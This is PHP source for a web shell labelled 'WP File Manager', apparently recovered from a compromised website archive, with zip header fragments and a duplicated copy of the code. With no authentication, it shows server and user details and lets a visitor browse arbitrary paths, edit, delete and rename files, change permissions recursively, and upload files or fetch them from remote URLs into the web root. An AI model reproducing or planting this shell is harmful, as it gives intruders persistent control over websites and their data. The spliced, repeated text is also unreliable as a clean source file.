'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëerona@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
